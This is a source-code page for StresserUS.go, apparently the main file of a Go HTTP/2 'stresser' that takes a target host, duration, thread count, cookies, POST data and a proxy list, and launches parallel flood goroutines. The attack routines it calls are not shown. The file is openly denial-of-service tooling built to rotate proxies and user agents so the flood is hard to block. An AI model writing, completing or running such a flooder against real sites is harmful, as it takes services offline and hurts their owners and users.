-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathStresserUS.go
126 lines (114 loc) · 2.65 KB
/
StresserUS.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package main
import (
"fmt"
"io/ioutil"
"math/rand"
"os"
"strconv"
"strings"
"sync"
"time"
)
var UserAgents = make(map[int]string)
var LoadedProxies = make(map[int]string)
var RsIP int
var ThreadSync sync.WaitGroup
var Sys System
func InitializeUserAgents() {
for y, x := range Agents {
UserAgents[y] = x
}
}
func main() {
InitializeUserAgents()
rand.Seed(time.Now().UnixNano())
ShareBanner := Parser()
if len(os.Args) < 8 {
fmt.Println(len(os.Args))
fmt.Println(ShareBanner)
return
}
var HTTPVersion string
var Host string
var HTTP_HOST string
var limit int
var list string
var threads int
var mode string
var dur int
var cookie interface{}
var data interface{}
fmt.Sprint(HTTPVersion)
Arguments := os.Args[1:]
for _, x := range Arguments {
if strings.Contains(x, "version=") {
HTTPVersion = strings.Split(x, "=")[1]
} else if strings.Contains(x, "host=") {
Host = strings.Split(x, "=")[1]
} else if strings.Contains(x, "domain=") {
HTTP_HOST = strings.Split(x, "=")[1]
} else if strings.Contains(x, "time=") {
dur, _ = strconv.Atoi(strings.Split(x, "=")[1])
}else if strings.Contains(x, "limit=") {
limit, _ = strconv.Atoi(strings.Split(x, "=")[1])
} else if strings.Contains(x, "list=") {
list = strings.Split(x, "=")[1]
} else if strings.Contains(x, "threads=") {
threads, _ = strconv.Atoi(strings.Split(x, "=")[1])
} else if strings.Contains(x, "mode=") {
mode = strings.Split(x, "=")[1]
} else if strings.Contains(x, "cookie=") {
cookie = strings.Split(x, "cookie=")[1]
} else if strings.Contains(x, "data=") {
data = strings.Split(x, "data=")[1]
} else {
if !strings.Contains(x, "cookie=") {
cookie = nil
} else if !strings.Contains(x, "data=") {
data = nil
}
fmt.Println(ShareBanner)
}
}
//fmt.Println(HTTPVersion, Host, HTTP_HOST, limit, threads, mode, cookie, data, list)
if cookie != nil {
mode = "POST"
}
f, err := os.Open(list)
if err != nil {
fmt.Println("Proxy file does not exist!", err)
return
}
defer f.Close()
body, err := ioutil.ReadAll(f)
if err != nil {
fmt.Println("Can't read Proxy file!")
return
}
parsed := strings.ReplaceAll(string(body), "\r\n", "\n")
prox := strings.Split(parsed, "\n")
for i, p := range prox {
LoadedProxies[i] = p
}
New := Attack{
Url: Host,
Host: HTTP_HOST,
AttackMethod: mode,
PostData: data,
RequestsPerIP: limit,
Cookie: cookie,
}
Sys = System{
Banner: ShareBanner,
HTTP2Timeout: 10000,
Attack: &New,
}
for x := 0; x < threads; x++ {
go HTTP2(&ThreadSync)
ThreadSync.Add(1)
}
ThreadSync.Wait()
close(start)
fmt.Println("Started Flood!")
time.Sleep(time.Duration(dur)*time.Second)
}